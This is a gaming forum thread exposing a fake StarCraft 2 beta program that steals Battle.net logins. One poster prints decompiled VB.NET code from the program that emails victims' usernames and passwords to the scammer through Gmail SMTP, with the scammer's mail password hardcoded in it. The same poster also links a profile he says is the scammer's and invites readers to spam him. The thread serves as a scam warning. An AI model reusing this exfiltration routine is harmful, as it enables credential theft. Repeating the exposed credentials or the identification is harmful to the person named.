    The game is mispelled in the URL! That should be a dead giveaway. Not to mention, the website has a completely unnecessary toolbar at the bottom, and the layout looks similar to the other scam application.

    Sadly, I think there will probably be a lot of people that fall for it.

    I didn't even notice it. I looked at it twice and my mind corrected the mistake. Once I slowly spelled it out then I realized the error. I feel like such a newb for almost fallen for these obvious traps. Guess it's just my wishful thinking that's causing me to hope.

    Hi guys,

    i just registered to tell you that this is definetly scam because i reverse engineered the program. I wanted to post this on official SC2GDF but can`t log in beacause it doesn`t take my D2 LOD CD-Key.

    Maybe someone can forward this to: http://forums.battle.net/thread.html?topicId=18031076992&sid=3000

    So the program is written in VB.NET and contains debug information so it`s pretty easy to decompile.

    Here is the vital part of the sourcecode:

    Code:
    
    //Namespace: StarCraft_Phisher
    //Class: Starcraft
    
     Dim message As New MailMessage
                Dim client As New SmtpClient
                client.Credentials = New NetworkCredential("taul515@gmail.com", "870621345")
                client.Port = &H24B
                client.Host = "smtp.gmail.com"
                client.EnableSsl = True
                message.To.Add("taul515@gmail.com")
                message.From = New MailAddress("daydreamanonymous@live.co.uk")
                message.Subject = ("New Battle.net Account! " & Conversions.ToString(DateTime.Today))
                message.Body = String.Concat(New String() { "Battle.net Account: ", Environment.NewLine, "-------------------------", Environment.NewLine, "Username: ", Me.txtUsername.Text, Environment.NewLine, "Password: ", Me.txtPassword.Text, Environment.NewLine, "-------------------------" })
                client.Send(message)
                MessageBox.Show("Thank you for participating in this BETA release!", "Done", MessageBoxButtons.OK)
    

    This program sends the entered Mail and PW to taul515@gmail.com, the guy seems to have another mail adress "daydreamanonymous@live.co.uk" (and MSN) I googled "taul515" and found a social network profile which contains the name "daydreamanonymous"

    This is definetly him: http://www.bebo.com/Profile.jsp?MemberId=7747298932

    If you want to repeat my steps, get a program like Interactive Dissasembler or Red Gate`s .NET Reflector and see for yourself.

    Hope this helps.

    PS: Sorry for my english, I am not a native speaker.

    Edit:

    PPS: The program otherwise does nothing maliciouse to your system, so feel free to spam him trough it. ;)

    Nice freeman.

    Also, you decompile to get source code just like that? Or is it not as easy as it sounds?

    Hi,

    thanks to all. I am happy to help the community.

    It`s basically just one mouseclick and you got the Sourcecode. The .NET Reflector is free, google it, you can do it too. But this only works with .NET based programing languages and the guy who wrote that ****, didn`t use any decompiling antimeasures.

    I can post a detailed explanation why all this works, and why I still wouldn`t be able to get the Starcraft 2 Sourcecode ;) if you are interested.

    The biggest give away that this is a scam is he asked for your password. And we all know every blizzard site says "A Blizzard employee will never ask you for your password". For one it'd just be easy for hackers to get that information if you sent it through the net. And secondly Blizzard do not need your password to edit your account. They can and on occasion do this.

    I agree with all of the above this reeks of scam all over.

    Lol who needs the source code there is an easier way to get SC2 beta or final version for illegally for free. Also why do these people want access to your battle.net accounts so badly, it's not like they can steal money or your identity?

    They get a much bigger chance to randomly get a key bralbers.

    A lot of people have linked their games to their B.net account. So the crook essentially just stole those CD-Keys.
